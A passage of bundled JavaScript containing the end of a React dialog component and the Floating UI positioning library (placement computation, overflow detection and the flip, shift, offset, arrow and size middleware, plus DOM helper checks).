7263 /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(
7264 DialogBackdrop,
7265 {
7266 store,
7267 backdrop,
7268 hidden: hiddenProp,
7269 alwaysVisible
7270 }
7271 ),
7272 element
7273 ] });
7274 },
7275 [store, backdrop, hiddenProp, alwaysVisible]
7276 );
7277 const [headingId, setHeadingId] = (0, import_react27.useState)();
7278 const [descriptionId, setDescriptionId] = (0, import_react27.useState)();
7279 props = useWrapElement(
7280 props,
7281 (element) => /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(DialogScopedContextProvider, { value: store, children: /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(DialogHeadingContext.Provider, { value: setHeadingId, children: /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(DialogDescriptionContext.Provider, { value: setDescriptionId, children: element }) }) }),
7282 [store]
7283 );
7284 props = {
7285 id: id3,
7286 "data-dialog": "",
7287 role: "dialog",
7288 tabIndex: focusable ? -1 : void 0,
7289 "aria-labelledby": headingId,
7290 "aria-describedby": descriptionId,
7291 ...props,
7292 ref: useMergeRefs(ref, props.ref)
7293 };
7294 props = useFocusableContainer({
7295 ...props,
7296 autoFocusOnShow: autoFocusEnabled
7297 });
7298 props = useDisclosureContent({ store, ...props });
7299 props = useFocusable({ ...props, focusable });
7300 props = usePortal({ portal, ...props, portalRef, preserveTabOrder });
7301 return props;
7302 });
7303 function createDialogComponent(Component9, useProviderContext = useDialogProviderContext) {
7304 return forwardRef2(function DialogComponent(props) {
7305 const context = useProviderContext();
7306 const store = props.store || context;
7307 const mounted = useStoreState(
7308 store,
7309 (state) => !props.unmountOnHide || (state == null ? void 0 : state.mounted) || !!props.open
7310 );
7311 if (!mounted) return null;
7312 return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(Component9, { ...props });
7313 });
7314 }
7315 var Dialog = createDialogComponent(
7316 forwardRef2(function Dialog2(props) {
7317 const htmlProps = useDialog(props);
7318 return createElement(TagName19, htmlProps);
7319 }),
7320 useDialogProviderContext
7321 );
7322
7323 // node_modules/@floating-ui/utils/dist/floating-ui.utils.mjs
7324 var min = Math.min;
7325 var max = Math.max;
7326 var round = Math.round;
7327 var floor = Math.floor;
7328 var createCoords = (v3) => ({
7329 x: v3,
7330 y: v3
7331 });
7332 var oppositeSideMap = {
7333 left: "right",
7334 right: "left",
7335 bottom: "top",
7336 top: "bottom"
7337 };
7338 var oppositeAlignmentMap = {
7339 start: "end",
7340 end: "start"
7341 };
7342 function clamp(start, value, end) {
7343 return max(start, min(value, end));
7344 }
7345 function evaluate(value, param) {
7346 return typeof value === "function" ? value(param) : value;
7347 }
7348 function getSide(placement) {
7349 return placement.split("-")[0];
7350 }
7351 function getAlignment(placement) {
7352 return placement.split("-")[1];
7353 }
7354 function getOppositeAxis(axis) {
7355 return axis === "x" ? "y" : "x";
7356 }
7357 function getAxisLength(axis) {
7358 return axis === "y" ? "height" : "width";
7359 }
7360 var yAxisSides = /* @__PURE__ */ new Set(["top", "bottom"]);
7361 function getSideAxis(placement) {
7362 return yAxisSides.has(getSide(placement)) ? "y" : "x";
7363 }
7364 function getAlignmentAxis(placement) {
7365 return getOppositeAxis(getSideAxis(placement));
7366 }
7367 function getAlignmentSides(placement, rects, rtl2) {
7368 if (rtl2 === void 0) {
7369 rtl2 = false;
7370 }
7371 const alignment = getAlignment(placement);
7372 const alignmentAxis = getAlignmentAxis(placement);
7373 const length2 = getAxisLength(alignmentAxis);
7374 let mainAlignmentSide = alignmentAxis === "x" ? alignment === (rtl2 ? "end" : "start") ? "right" : "left" : alignment === "start" ? "bottom" : "top";
7375 if (rects.reference[length2] > rects.floating[length2]) {
7376 mainAlignmentSide = getOppositePlacement(mainAlignmentSide);
7377 }
7378 return [mainAlignmentSide, getOppositePlacement(mainAlignmentSide)];
7379 }
7380 function getExpandedPlacements(placement) {
7381 const oppositePlacement = getOppositePlacement(placement);
7382 return [getOppositeAlignmentPlacement(placement), oppositePlacement, getOppositeAlignmentPlacement(oppositePlacement)];
7383 }
7384 function getOppositeAlignmentPlacement(placement) {
7385 return placement.replace(/start|end/g, (alignment) => oppositeAlignmentMap[alignment]);
7386 }
7387 var lrPlacement = ["left", "right"];
7388 var rlPlacement = ["right", "left"];
7389 var tbPlacement = ["top", "bottom"];
7390 var btPlacement = ["bottom", "top"];
7391 function getSideList(side, isStart, rtl2) {
7392 switch (side) {
7393 case "top":
7394 case "bottom":
7395 if (rtl2) return isStart ? rlPlacement : lrPlacement;
7396 return isStart ? lrPlacement : rlPlacement;
7397 case "left":
7398 case "right":
7399 return isStart ? tbPlacement : btPlacement;
7400 default:
7401 return [];
7402 }
7403 }
7404 function getOppositeAxisPlacements(placement, flipAlignment, direction, rtl2) {
7405 const alignment = getAlignment(placement);
7406 let list = getSideList(getSide(placement), direction === "start", rtl2);
7407 if (alignment) {
7408 list = list.map((side) => side + "-" + alignment);
7409 if (flipAlignment) {
7410 list = list.concat(list.map(getOppositeAlignmentPlacement));
7411 }
7412 }
7413 return list;
7414 }
7415 function getOppositePlacement(placement) {
7416 return placement.replace(/left|right|bottom|top/g, (side) => oppositeSideMap[side]);
7417 }
7418 function expandPaddingObject(padding2) {
7419 return {
7420 top: 0,
7421 right: 0,
7422 bottom: 0,
7423 left: 0,
7424 ...padding2
7425 };
7426 }
7427 function getPaddingObject(padding2) {
7428 return typeof padding2 !== "number" ? expandPaddingObject(padding2) : {
7429 top: padding2,
7430 right: padding2,
7431 bottom: padding2,
7432 left: padding2
7433 };
7434 }
7435 function rectToClientRect(rect) {
7436 const {
7437 x: x2,
7438 y: y3,
7439 width,
7440 height
7441 } = rect;
7442 return {
7443 width,
7444 height,
7445 top: y3,
7446 left: x2,
7447 right: x2 + width,
7448 bottom: y3 + height,
7449 x: x2,
7450 y: y3
7451 };
7452 }
7453
7454 // node_modules/@floating-ui/core/dist/floating-ui.core.mjs
7455 function computeCoordsFromPlacement(_ref11, placement, rtl2) {
7456 let {
7457 reference,
7458 floating
7459 } = _ref11;
7460 const sideAxis = getSideAxis(placement);
7461 const alignmentAxis = getAlignmentAxis(placement);
7462 const alignLength = getAxisLength(alignmentAxis);
7463 const side = getSide(placement);
7464 const isVertical = sideAxis === "y";
7465 const commonX = reference.x + reference.width / 2 - floating.width / 2;
7466 const commonY = reference.y + reference.height / 2 - floating.height / 2;
7467 const commonAlign = reference[alignLength] / 2 - floating[alignLength] / 2;
7468 let coords;
7469 switch (side) {
7470 case "top":
7471 coords = {
7472 x: commonX,
7473 y: reference.y - floating.height
7474 };
7475 break;
7476 case "bottom":
7477 coords = {
7478 x: commonX,
7479 y: reference.y + reference.height
7480 };
7481 break;
7482 case "right":
7483 coords = {
7484 x: reference.x + reference.width,
7485 y: commonY
7486 };
7487 break;
7488 case "left":
7489 coords = {
7490 x: reference.x - floating.width,
7491 y: commonY
7492 };
7493 break;
7494 default:
7495 coords = {
7496 x: reference.x,
7497 y: reference.y
7498 };
7499 }
7500 switch (getAlignment(placement)) {
7501 case "start":
7502 coords[alignmentAxis] -= commonAlign * (rtl2 && isVertical ? -1 : 1);
7503 break;
7504 case "end":
7505 coords[alignmentAxis] += commonAlign * (rtl2 && isVertical ? -1 : 1);
7506 break;
7507 }
7508 return coords;
7509 }
7510 var computePosition = async (reference, floating, config) => {
7511 const {
7512 placement = "bottom",
7513 strategy = "absolute",
7514 middleware: middleware2 = [],
7515 platform: platform2
7516 } = config;
7517 const validMiddleware = middleware2.filter(Boolean);
7518 const rtl2 = await (platform2.isRTL == null ? void 0 : platform2.isRTL(floating));
7519 let rects = await platform2.getElementRects({
7520 reference,
7521 floating,
7522 strategy
7523 });
7524 let {
7525 x: x2,
7526 y: y3
7527 } = computeCoordsFromPlacement(rects, placement, rtl2);
7528 let statefulPlacement = placement;
7529 let middlewareData = {};
7530 let resetCount = 0;
7531 for (let i3 = 0; i3 < validMiddleware.length; i3++) {
7532 const {
7533 name,
7534 fn
7535 } = validMiddleware[i3];
7536 const {
7537 x: nextX,
7538 y: nextY,
7539 data,
7540 reset
7541 } = await fn({
7542 x: x2,
7543 y: y3,
7544 initialPlacement: placement,
7545 placement: statefulPlacement,
7546 strategy,
7547 middlewareData,
7548 rects,
7549 platform: platform2,
7550 elements: {
7551 reference,
7552 floating
7553 }
7554 });
7555 x2 = nextX != null ? nextX : x2;
7556 y3 = nextY != null ? nextY : y3;
7557 middlewareData = {
7558 ...middlewareData,
7559 [name]: {
7560 ...middlewareData[name],
7561 ...data
7562 }
7563 };
7564 if (reset && resetCount <= 50) {
7565 resetCount++;
7566 if (typeof reset === "object") {
7567 if (reset.placement) {
7568 statefulPlacement = reset.placement;
7569 }
7570 if (reset.rects) {
7571 rects = reset.rects === true ? await platform2.getElementRects({
7572 reference,
7573 floating,
7574 strategy
7575 }) : reset.rects;
7576 }
7577 ({
7578 x: x2,
7579 y: y3
7580 } = computeCoordsFromPlacement(rects, statefulPlacement, rtl2));
7581 }
7582 i3 = -1;
7583 }
7584 }
7585 return {
7586 x: x2,
7587 y: y3,
7588 placement: statefulPlacement,
7589 strategy,
7590 middlewareData
7591 };
7592 };
7593 async function detectOverflow(state, options2) {
7594 var _await$platform$isEle;
7595 if (options2 === void 0) {
7596 options2 = {};
7597 }
7598 const {
7599 x: x2,
7600 y: y3,
7601 platform: platform2,
7602 rects,
7603 elements: elements2,
7604 strategy
7605 } = state;
7606 const {
7607 boundary = "clippingAncestors",
7608 rootBoundary = "viewport",
7609 elementContext = "floating",
7610 altBoundary = false,
7611 padding: padding2 = 0
7612 } = evaluate(options2, state);
7613 const paddingObject = getPaddingObject(padding2);
7614 const altContext = elementContext === "floating" ? "reference" : "floating";
7615 const element = elements2[altBoundary ? altContext : elementContext];
7616 const clippingClientRect = rectToClientRect(await platform2.getClippingRect({
7617 element: ((_await$platform$isEle = await (platform2.isElement == null ? void 0 : platform2.isElement(element))) != null ? _await$platform$isEle : true) ? element : element.contextElement || await (platform2.getDocumentElement == null ? void 0 : platform2.getDocumentElement(elements2.floating)),
7618 boundary,
7619 rootBoundary,
7620 strategy
7621 }));
7622 const rect = elementContext === "floating" ? {
7623 x: x2,
7624 y: y3,
7625 width: rects.floating.width,
7626 height: rects.floating.height
7627 } : rects.reference;
7628 const offsetParent = await (platform2.getOffsetParent == null ? void 0 : platform2.getOffsetParent(elements2.floating));
7629 const offsetScale = await (platform2.isElement == null ? void 0 : platform2.isElement(offsetParent)) ? await (platform2.getScale == null ? void 0 : platform2.getScale(offsetParent)) || {
7630 x: 1,
7631 y: 1
7632 } : {
7633 x: 1,
7634 y: 1
7635 };
7636 const elementClientRect = rectToClientRect(platform2.convertOffsetParentRelativeRectToViewportRelativeRect ? await platform2.convertOffsetParentRelativeRectToViewportRelativeRect({
7637 elements: elements2,
7638 rect,
7639 offsetParent,
7640 strategy
7641 }) : rect);
7642 return {
7643 top: (clippingClientRect.top - elementClientRect.top + paddingObject.top) / offsetScale.y,
7644 bottom: (elementClientRect.bottom - clippingClientRect.bottom + paddingObject.bottom) / offsetScale.y,
7645 left: (clippingClientRect.left - elementClientRect.left + paddingObject.left) / offsetScale.x,
7646 right: (elementClientRect.right - clippingClientRect.right + paddingObject.right) / offsetScale.x
7647 };
7648 }
7649 var arrow = (options2) => ({
7650 name: "arrow",
7651 options: options2,
7652 async fn(state) {
7653 const {
7654 x: x2,
7655 y: y3,
7656 placement,
7657 rects,
7658 platform: platform2,
7659 elements: elements2,
7660 middlewareData
7661 } = state;
7662 const {
7663 element,
7664 padding: padding2 = 0
7665 } = evaluate(options2, state) || {};
7666 if (element == null) {
7667 return {};
7668 }
7669 const paddingObject = getPaddingObject(padding2);
7670 const coords = {
7671 x: x2,
7672 y: y3
7673 };
7674 const axis = getAlignmentAxis(placement);
7675 const length2 = getAxisLength(axis);
7676 const arrowDimensions = await platform2.getDimensions(element);
7677 const isYAxis = axis === "y";
7678 const minProp = isYAxis ? "top" : "left";
7679 const maxProp = isYAxis ? "bottom" : "right";
7680 const clientProp = isYAxis ? "clientHeight" : "clientWidth";
7681 const endDiff = rects.reference[length2] + rects.reference[axis] - coords[axis] - rects.floating[length2];
7682 const startDiff = coords[axis] - rects.reference[axis];
7683 const arrowOffsetParent = await (platform2.getOffsetParent == null ? void 0 : platform2.getOffsetParent(element));
7684 let clientSize = arrowOffsetParent ? arrowOffsetParent[clientProp] : 0;
7685 if (!clientSize || !await (platform2.isElement == null ? void 0 : platform2.isElement(arrowOffsetParent))) {
7686 clientSize = elements2.floating[clientProp] || rects.floating[length2];
7687 }
7688 const centerToReference = endDiff / 2 - startDiff / 2;
7689 const largestPossiblePadding = clientSize / 2 - arrowDimensions[length2] / 2 - 1;
7690 const minPadding = min(paddingObject[minProp], largestPossiblePadding);
7691 const maxPadding = min(paddingObject[maxProp], largestPossiblePadding);
7692 const min$1 = minPadding;
7693 const max3 = clientSize - arrowDimensions[length2] - maxPadding;
7694 const center = clientSize / 2 - arrowDimensions[length2] / 2 + centerToReference;
7695 const offset3 = clamp(min$1, center, max3);
7696 const shouldAddOffset = !middlewareData.arrow && getAlignment(placement) != null && center !== offset3 && rects.reference[length2] / 2 - (center < min$1 ? minPadding : maxPadding) - arrowDimensions[length2] / 2 < 0;
7697 const alignmentOffset = shouldAddOffset ? center < min$1 ? center - min$1 : center - max3 : 0;
7698 return {
7699 [axis]: coords[axis] + alignmentOffset,
7700 data: {
7701 [axis]: offset3,
7702 centerOffset: center - offset3 - alignmentOffset,
7703 ...shouldAddOffset && {
7704 alignmentOffset
7705 }
7706 },
7707 reset: shouldAddOffset
7708 };
7709 }
7710 });
7711 var flip = function(options2) {
7712 if (options2 === void 0) {
7713 options2 = {};
7714 }
7715 return {
7716 name: "flip",
7717 options: options2,
7718 async fn(state) {
7719 var _middlewareData$arrow, _middlewareData$flip;
7720 const {
7721 placement,
7722 middlewareData,
7723 rects,
7724 initialPlacement,
7725 platform: platform2,
7726 elements: elements2
7727 } = state;
7728 const {
7729 mainAxis: checkMainAxis = true,
7730 crossAxis: checkCrossAxis = true,
7731 fallbackPlacements: specifiedFallbackPlacements,
7732 fallbackStrategy = "bestFit",
7733 fallbackAxisSideDirection = "none",
7734 flipAlignment = true,
7735 ...detectOverflowOptions
7736 } = evaluate(options2, state);
7737 if ((_middlewareData$arrow = middlewareData.arrow) != null && _middlewareData$arrow.alignmentOffset) {
7738 return {};
7739 }
7740 const side = getSide(placement);
7741 const initialSideAxis = getSideAxis(initialPlacement);
7742 const isBasePlacement = getSide(initialPlacement) === initialPlacement;
7743 const rtl2 = await (platform2.isRTL == null ? void 0 : platform2.isRTL(elements2.floating));
7744 const fallbackPlacements = specifiedFallbackPlacements || (isBasePlacement || !flipAlignment ? [getOppositePlacement(initialPlacement)] : getExpandedPlacements(initialPlacement));
7745 const hasFallbackAxisSideDirection = fallbackAxisSideDirection !== "none";
7746 if (!specifiedFallbackPlacements && hasFallbackAxisSideDirection) {
7747 fallbackPlacements.push(...getOppositeAxisPlacements(initialPlacement, flipAlignment, fallbackAxisSideDirection, rtl2));
7748 }
7749 const placements2 = [initialPlacement, ...fallbackPlacements];
7750 const overflow = await detectOverflow(state, detectOverflowOptions);
7751 const overflows = [];
7752 let overflowsData = ((_middlewareData$flip = middlewareData.flip) == null ? void 0 : _middlewareData$flip.overflows) || [];
7753 if (checkMainAxis) {
7754 overflows.push(overflow[side]);
7755 }
7756 if (checkCrossAxis) {
7757 const sides3 = getAlignmentSides(placement, rects, rtl2);
7758 overflows.push(overflow[sides3[0]], overflow[sides3[1]]);
7759 }
7760 overflowsData = [...overflowsData, {
7761 placement,
7762 overflows
7763 }];
7764 if (!overflows.every((side2) => side2 <= 0)) {
7765 var _middlewareData$flip2, _overflowsData$filter;
7766 const nextIndex = (((_middlewareData$flip2 = middlewareData.flip) == null ? void 0 : _middlewareData$flip2.index) || 0) + 1;
7767 const nextPlacement = placements2[nextIndex];
7768 if (nextPlacement) {
7769 const ignoreCrossAxisOverflow = checkCrossAxis === "alignment" ? initialSideAxis !== getSideAxis(nextPlacement) : false;
7770 if (!ignoreCrossAxisOverflow || // We leave the current main axis only if every placement on that axis
7771 // overflows the main axis.
7772 overflowsData.every((d3) => getSideAxis(d3.placement) === initialSideAxis ? d3.overflows[0] > 0 : true)) {
7773 return {
7774 data: {
7775 index: nextIndex,
7776 overflows: overflowsData
7777 },
7778 reset: {
7779 placement: nextPlacement
7780 }
7781 };
7782 }
7783 }
7784 let resetPlacement = (_overflowsData$filter = overflowsData.filter((d3) => d3.overflows[0] <= 0).sort((a3, b3) => a3.overflows[1] - b3.overflows[1])[0]) == null ? void 0 : _overflowsData$filter.placement;
7785 if (!resetPlacement) {
7786 switch (fallbackStrategy) {
7787 case "bestFit": {
7788 var _overflowsData$filter2;
7789 const placement2 = (_overflowsData$filter2 = overflowsData.filter((d3) => {
7790 if (hasFallbackAxisSideDirection) {
7791 const currentSideAxis = getSideAxis(d3.placement);
7792 return currentSideAxis === initialSideAxis || // Create a bias to the `y` side axis due to horizontal
7793 // reading directions favoring greater width.
7794 currentSideAxis === "y";
7795 }
7796 return true;
7797 }).map((d3) => [d3.placement, d3.overflows.filter((overflow2) => overflow2 > 0).reduce((acc, overflow2) => acc + overflow2, 0)]).sort((a3, b3) => a3[1] - b3[1])[0]) == null ? void 0 : _overflowsData$filter2[0];
7798 if (placement2) {
7799 resetPlacement = placement2;
7800 }
7801 break;
7802 }
7803 case "initialPlacement":
7804 resetPlacement = initialPlacement;
7805 break;
7806 }
7807 }
7808 if (placement !== resetPlacement) {
7809 return {
7810 reset: {
7811 placement: resetPlacement
7812 }
7813 };
7814 }
7815 }
7816 return {};
7817 }
7818 };
7819 };
7820 var originSides = /* @__PURE__ */ new Set(["left", "top"]);
7821 async function convertValueToCoords(state, options2) {
7822 const {
7823 placement,
7824 platform: platform2,
7825 elements: elements2
7826 } = state;
7827 const rtl2 = await (platform2.isRTL == null ? void 0 : platform2.isRTL(elements2.floating));
7828 const side = getSide(placement);
7829 const alignment = getAlignment(placement);
7830 const isVertical = getSideAxis(placement) === "y";
7831 const mainAxisMulti = originSides.has(side) ? -1 : 1;
7832 const crossAxisMulti = rtl2 && isVertical ? -1 : 1;
7833 const rawValue = evaluate(options2, state);
7834 let {
7835 mainAxis,
7836 crossAxis,
7837 alignmentAxis
7838 } = typeof rawValue === "number" ? {
7839 mainAxis: rawValue,
7840 crossAxis: 0,
7841 alignmentAxis: null
7842 } : {
7843 mainAxis: rawValue.mainAxis || 0,
7844 crossAxis: rawValue.crossAxis || 0,
7845 alignmentAxis: rawValue.alignmentAxis
7846 };
7847 if (alignment && typeof alignmentAxis === "number") {
7848 crossAxis = alignment === "end" ? alignmentAxis * -1 : alignmentAxis;
7849 }
7850 return isVertical ? {
7851 x: crossAxis * crossAxisMulti,
7852 y: mainAxis * mainAxisMulti
7853 } : {
7854 x: mainAxis * mainAxisMulti,
7855 y: crossAxis * crossAxisMulti
7856 };
7857 }
7858 var offset = function(options2) {
7859 if (options2 === void 0) {
7860 options2 = 0;
7861 }
7862 return {
7863 name: "offset",
7864 options: options2,
7865 async fn(state) {
7866 var _middlewareData$offse, _middlewareData$arrow;
7867 const {
7868 x: x2,
7869 y: y3,
7870 placement,
7871 middlewareData
7872 } = state;
7873 const diffCoords = await convertValueToCoords(state, options2);
7874 if (placement === ((_middlewareData$offse = middlewareData.offset) == null ? void 0 : _middlewareData$offse.placement) && (_middlewareData$arrow = middlewareData.arrow) != null && _middlewareData$arrow.alignmentOffset) {
7875 return {};
7876 }
7877 return {
7878 x: x2 + diffCoords.x,
7879 y: y3 + diffCoords.y,
7880 data: {
7881 ...diffCoords,
7882 placement
7883 }
7884 };
7885 }
7886 };
7887 };
7888 var shift = function(options2) {
7889 if (options2 === void 0) {
7890 options2 = {};
7891 }
7892 return {
7893 name: "shift",
7894 options: options2,
7895 async fn(state) {
7896 const {
7897 x: x2,
7898 y: y3,
7899 placement
7900 } = state;
7901 const {
7902 mainAxis: checkMainAxis = true,
7903 crossAxis: checkCrossAxis = false,
7904 limiter = {
7905 fn: (_ref11) => {
7906 let {
7907 x: x3,
7908 y: y4
7909 } = _ref11;
7910 return {
7911 x: x3,
7912 y: y4
7913 };
7914 }
7915 },
7916 ...detectOverflowOptions
7917 } = evaluate(options2, state);
7918 const coords = {
7919 x: x2,
7920 y: y3
7921 };
7922 const overflow = await detectOverflow(state, detectOverflowOptions);
7923 const crossAxis = getSideAxis(getSide(placement));
7924 const mainAxis = getOppositeAxis(crossAxis);
7925 let mainAxisCoord = coords[mainAxis];
7926 let crossAxisCoord = coords[crossAxis];
7927 if (checkMainAxis) {
7928 const minSide = mainAxis === "y" ? "top" : "left";
7929 const maxSide = mainAxis === "y" ? "bottom" : "right";
7930 const min3 = mainAxisCoord + overflow[minSide];
7931 const max3 = mainAxisCoord - overflow[maxSide];
7932 mainAxisCoord = clamp(min3, mainAxisCoord, max3);
7933 }
7934 if (checkCrossAxis) {
7935 const minSide = crossAxis === "y" ? "top" : "left";
7936 const maxSide = crossAxis === "y" ? "bottom" : "right";
7937 const min3 = crossAxisCoord + overflow[minSide];
7938 const max3 = crossAxisCoord - overflow[maxSide];
7939 crossAxisCoord = clamp(min3, crossAxisCoord, max3);
7940 }
7941 const limitedCoords = limiter.fn({
7942 ...state,
7943 [mainAxis]: mainAxisCoord,
7944 [crossAxis]: crossAxisCoord
7945 });
7946 return {
7947 ...limitedCoords,
7948 data: {
7949 x: limitedCoords.x - x2,
7950 y: limitedCoords.y - y3,
7951 enabled: {
7952 [mainAxis]: checkMainAxis,
7953 [crossAxis]: checkCrossAxis
7954 }
7955 }
7956 };
7957 }
7958 };
7959 };
7960 var limitShift = function(options2) {
7961 if (options2 === void 0) {
7962 options2 = {};
7963 }
7964 return {
7965 options: options2,
7966 fn(state) {
7967 const {
7968 x: x2,
7969 y: y3,
7970 placement,
7971 rects,
7972 middlewareData
7973 } = state;
7974 const {
7975 offset: offset3 = 0,
7976 mainAxis: checkMainAxis = true,
7977 crossAxis: checkCrossAxis = true
7978 } = evaluate(options2, state);
7979 const coords = {
7980 x: x2,
7981 y: y3
7982 };
7983 const crossAxis = getSideAxis(placement);
7984 const mainAxis = getOppositeAxis(crossAxis);
7985 let mainAxisCoord = coords[mainAxis];
7986 let crossAxisCoord = coords[crossAxis];
7987 const rawOffset = evaluate(offset3, state);
7988 const computedOffset = typeof rawOffset === "number" ? {
7989 mainAxis: rawOffset,
7990 crossAxis: 0
7991 } : {
7992 mainAxis: 0,
7993 crossAxis: 0,
7994 ...rawOffset
7995 };
7996 if (checkMainAxis) {
7997 const len = mainAxis === "y" ? "height" : "width";
7998 const limitMin = rects.reference[mainAxis] - rects.floating[len] + computedOffset.mainAxis;
7999 const limitMax = rects.reference[mainAxis] + rects.reference[len] - computedOffset.mainAxis;
8000 if (mainAxisCoord < limitMin) {
8001 mainAxisCoord = limitMin;
8002 } else if (mainAxisCoord > limitMax) {
8003 mainAxisCoord = limitMax;
8004 }
8005 }
8006 if (checkCrossAxis) {
8007 var _middlewareData$offse, _middlewareData$offse2;
8008 const len = mainAxis === "y" ? "width" : "height";
8009 const isOriginSide = originSides.has(getSide(placement));
8010 const limitMin = rects.reference[crossAxis] - rects.floating[len] + (isOriginSide ? ((_middlewareData$offse = middlewareData.offset) == null ? void 0 : _middlewareData$offse[crossAxis]) || 0 : 0) + (isOriginSide ? 0 : computedOffset.crossAxis);
8011 const limitMax = rects.reference[crossAxis] + rects.reference[len] + (isOriginSide ? 0 : ((_middlewareData$offse2 = middlewareData.offset) == null ? void 0 : _middlewareData$offse2[crossAxis]) || 0) - (isOriginSide ? computedOffset.crossAxis : 0);
8012 if (crossAxisCoord < limitMin) {
8013 crossAxisCoord = limitMin;
8014 } else if (crossAxisCoord > limitMax) {
8015 crossAxisCoord = limitMax;
8016 }
8017 }
8018 return {
8019 [mainAxis]: mainAxisCoord,
8020 [crossAxis]: crossAxisCoord
8021 };
8022 }
8023 };
8024 };
8025 var size = function(options2) {
8026 if (options2 === void 0) {
8027 options2 = {};
8028 }
8029 return {
8030 name: "size",
8031 options: options2,
8032 async fn(state) {
8033 var _state$middlewareData, _state$middlewareData2;
8034 const {
8035 placement,
8036 rects,
8037 platform: platform2,
8038 elements: elements2
8039 } = state;
8040 const {
8041 apply = () => {
8042 },
8043 ...detectOverflowOptions
8044 } = evaluate(options2, state);
8045 const overflow = await detectOverflow(state, detectOverflowOptions);
8046 const side = getSide(placement);
8047 const alignment = getAlignment(placement);
8048 const isYAxis = getSideAxis(placement) === "y";
8049 const {
8050 width,
8051 height
8052 } = rects.floating;
8053 let heightSide;
8054 let widthSide;
8055 if (side === "top" || side === "bottom") {
8056 heightSide = side;
8057 widthSide = alignment === (await (platform2.isRTL == null ? void 0 : platform2.isRTL(elements2.floating)) ? "start" : "end") ? "left" : "right";
8058 } else {
8059 widthSide = side;
8060 heightSide = alignment === "end" ? "top" : "bottom";
8061 }
8062 const maximumClippingHeight = height - overflow.top - overflow.bottom;
8063 const maximumClippingWidth = width - overflow.left - overflow.right;
8064 const overflowAvailableHeight = min(height - overflow[heightSide], maximumClippingHeight);
8065 const overflowAvailableWidth = min(width - overflow[widthSide], maximumClippingWidth);
8066 const noShift = !state.middlewareData.shift;
8067 let availableHeight = overflowAvailableHeight;
8068 let availableWidth = overflowAvailableWidth;
8069 if ((_state$middlewareData = state.middlewareData.shift) != null && _state$middlewareData.enabled.x) {
8070 availableWidth = maximumClippingWidth;
8071 }
8072 if ((_state$middlewareData2 = state.middlewareData.shift) != null && _state$middlewareData2.enabled.y) {
8073 availableHeight = maximumClippingHeight;
8074 }
8075 if (noShift && !alignment) {
8076 const xMin = max(overflow.left, 0);
8077 const xMax = max(overflow.right, 0);
8078 const yMin = max(overflow.top, 0);
8079 const yMax = max(overflow.bottom, 0);
8080 if (isYAxis) {
8081 availableWidth = width - 2 * (xMin !== 0 || xMax !== 0 ? xMin + xMax : max(overflow.left, overflow.right));
8082 } else {
8083 availableHeight = height - 2 * (yMin !== 0 || yMax !== 0 ? yMin + yMax : max(overflow.top, overflow.bottom));
8084 }
8085 }
8086 await apply({
8087 ...state,
8088 availableWidth,
8089 availableHeight
8090 });
8091 const nextDimensions = await platform2.getDimensions(elements2.floating);
8092 if (width !== nextDimensions.width || height !== nextDimensions.height) {
8093 return {
8094 reset: {
8095 rects: true
8096 }
8097 };
8098 }
8099 return {};
8100 }
8101 };
8102 };
8103
8104 // node_modules/@floating-ui/utils/dist/floating-ui.utils.dom.mjs
8105 function hasWindow() {
8106 return typeof window !== "undefined";
8107 }
8108 function getNodeName(node2) {
8109 if (isNode(node2)) {
8110 return (node2.nodeName || "").toLowerCase();
8111 }
8112 return "#document";
8113 }
8114 function getWindow2(node2) {
8115 var _node$ownerDocument;
8116 return (node2 == null || (_node$ownerDocument = node2.ownerDocument) == null ? void 0 : _node$ownerDocument.defaultView) || window;
8117 }
8118 function getDocumentElement(node2) {
8119 var _ref11;
8120 return (_ref11 = (isNode(node2) ? node2.ownerDocument : node2.document) || window.document) == null ? void 0 : _ref11.documentElement;
8121 }
8122 function isNode(value) {
8123 if (!hasWindow()) {
8124 return false;
8125 }
8126 return value instanceof Node || value instanceof getWindow2(value).Node;
8127 }
8128 function isElement(value) {
8129 if (!hasWindow()) {
8130 return false;
8131 }
8132 return value instanceof Element || value instanceof getWindow2(value).Element;
8133 }
8134 function isHTMLElement(value) {
8135 if (!hasWindow()) {
8136 return false;
8137 }
8138 return value instanceof HTMLElement || value instanceof getWindow2(value).HTMLElement;
8139 }
8140 function isShadowRoot(value) {
8141 if (!hasWindow() || typeof ShadowRoot === "undefined") {
8142 return false;
8143 }
8144 return value instanceof ShadowRoot || value instanceof getWindow2(value).ShadowRoot;
8145 }
8146 var invalidOverflowDisplayValues = /* @__PURE__ */ new Set(["inline", "contents"]);
8147 function isOverflowElement(element) {
8148 const {
8149 overflow,
8150 overflowX,
8151 overflowY,
8152 display
8153 } = getComputedStyle2(element);
8154 return /auto|scroll|overlay|hidden|clip/.test(overflow + overflowY + overflowX) && !invalidOverflowDisplayValues.has(display);
8155 }
8156 var tableElements = /* @__PURE__ */ new Set(["table", "td", "th"]);
8157 function isTableElement(element) {
8158 return tableElements.has(getNodeName(element));
8159 }
8160 var topLayerSelectors = [":popover-open", ":modal"];
8161 function isTopLayer(element) {
8162 return topLayerSelectors.some((selector2) => {
8163 try {
8164 return element.matches(selector2);
8165 } catch (_e) {
8166 return false;
8167 }
8168 });
8169 }
8170 var transformProperties = ["transform", "translate", "scale", "rotate", "perspective"];
8171 var willChangeValues = ["transform", "translate", "scale", "rotate", "perspective", "filter"];
8172 var containValues = ["paint", "layout", "strict", "content"];
8173 function isContainingBlock(elementOrCss) {
8174 const webkit = isWebKit();
8175 const css3 = isElement(elementOrCss) ? getComputedStyle2(elementOrCss) : elementOrCss;
8176 return transformProperties.some((value) => css3[value] ? css3[value] !== "none" : false) || (css3.containerType ? css3.containerType !== "normal" : false) || !webkit && (css3.backdropFilter ? css3.backdropFilter !== "none" : false) || !webkit && (css3.filter ? css3.filter !== "none" : false) || willChangeValues.some((value) => (css3.willChange || "").includes(value)) || containValues.some((value) => (css3.contain || "").includes(value));
8177 }
8178 function getContainingBlock(element) {
8179 let currentNode = getParentNode(element);
8180 while (isHTMLElement(currentNode) && !isLastTraversableNode(currentNode)) {
8181 if (isContainingBlock(currentNode)) {
8182 return currentNode;
8183 } else if (isTopLayer(currentNode)) {
8184 return null;
8185 }
8186 currentNode = getParentNode(currentNode);
8187 }
8188 return null;
8189 }
8190 function isWebKit() {
8191 if (typeof CSS === "undefined" || !CSS.supports) return false;
8192 return CSS.supports("-webkit-backdrop-filter", "none");
8193 }
